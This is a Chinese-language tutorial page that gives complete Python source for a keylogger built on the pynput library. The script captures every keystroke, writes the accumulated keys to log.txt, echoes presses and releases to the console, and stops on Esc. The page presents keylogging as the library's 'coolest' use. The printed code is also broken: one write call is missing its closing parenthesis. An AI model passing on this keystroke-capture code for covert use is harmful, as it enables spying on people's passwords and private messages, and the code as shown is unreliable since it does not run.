📜  如何使用 pynput 制作键盘记录器?

📅  最后修改于: 2022-05-13 01:54:56.657000             🧑  作者: Mango

如何使用 pynput 制作键盘记录器?

先决条件: Python编程语言
pynput.keyboard包含用于控制和监视键盘的类。 pynput是Python库,可用于捕获键盘输入,其中最酷的用途在于制作键盘记录器。键盘记录器的代码如下所示。

需要的模块

pynput:要安装 pynput,请在终端中输入以下命令。

pip install pynput 

下面是实现:

Python3
# keylogger using pynput module
  
import pynput
from pynput.keyboard import Key, Listener
  
keys = []
  
def on_press(key):
     
    keys.append(key)
    write_file(keys)
     
    try:
        print('alphanumeric key {0} pressed'.format(key.char))
         
    except AttributeError:
        print('special key {0} pressed'.format(key))
          
def write_file(keys):
     
    with open('log.txt', 'w') as f:
        for key in keys:
             
            # removing ''
            k = str(key).replace("'", "")
            f.write(k
                     
            # explicitly adding a space after
            # every keystroke for readability
            f.write(' ')
              
def on_release(key):
                     
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
  
  
with Listener(on_press = on_press,
              on_release = on_release) as listener:
                     
    listener.join()


输出:

python-键盘记录器-pyinput